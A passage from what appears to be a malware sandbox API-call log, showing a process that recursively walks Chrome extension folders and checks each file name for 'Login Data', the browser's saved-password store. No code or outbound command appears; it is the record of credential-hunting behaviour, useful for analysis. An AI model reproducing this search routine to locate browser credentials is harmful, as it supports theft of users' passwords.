Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.604] LocalFree (hMem=0x2dbfc0) returned 0x0 [0056.604] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.604] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.604] lstrlenA (lpString="\\*.*") returned 4 [0056.604] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc1d8 [0056.604] lstrcpyA (in: lpString1=0x2dc1d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.604] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*" [0056.604] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.605] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.605] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.605] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.605] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.605] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.605] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.605] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.605] lstrlenA (lpString="\\") returned 1 [0056.605] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.605] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.605] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.605] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.605] lstrlenA (lpString="ar") returned 2 [0056.605] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.605] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.605] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0056.605] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.605] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned 131 [0056.605] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned 131 [0056.605] lstrlenA (lpString="\\*.*") returned 4 [0056.605] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.605] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0056.605] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*" [0056.605] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.605] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.605] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.606] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.606] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.606] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.607] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.607] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.607] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.607] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.607] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.607] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.607] lstrlenA (lpString="\\") returned 1 [0056.607] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.607] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.607] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.607] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.607] lstrlenA (lpString="bg") returned 2 [0056.607] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.607] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.607] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0056.607] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.607] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned 131 [0056.607] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned 131 [0056.607] lstrlenA (lpString="\\*.*") returned 4 [0056.607] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.607] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0056.607] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*" [0056.607] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.607] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.607] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.607] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.607] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.607] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.607] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.607] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.608] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.608] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.608] lstrlenA (lpString="\\") returned 1 [0056.608] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.608] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.608] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.608] lstrlenA (lpString="ca") returned 2 [0056.608] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.608] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.608] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0056.608] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned 131 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned 131 [0056.608] lstrlenA (lpString="\\*.*") returned 4 [0056.608] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.608] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0056.608] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*" [0056.608] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.608] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.608] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.608] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.608] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.608] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.608] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.608] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.608] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.608] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.608] lstrlenA (lpString="\\") returned 1 [0056.608] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.608] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.608] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.608] lstrlenA (lpString="cs") returned 2 [0056.608] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.608] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.608] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0056.608] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned 131 [0056.608] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned 131 [0056.608] lstrlenA (lpString="\\*.*") returned 4 [0056.609] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.609] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0056.609] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*" [0056.609] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.609] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.609] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.609] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.609] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.609] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.609] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.609] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.609] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.609] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.609] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.609] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.609] lstrlenA (lpString="\\") returned 1 [0056.609] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.609] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.609] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 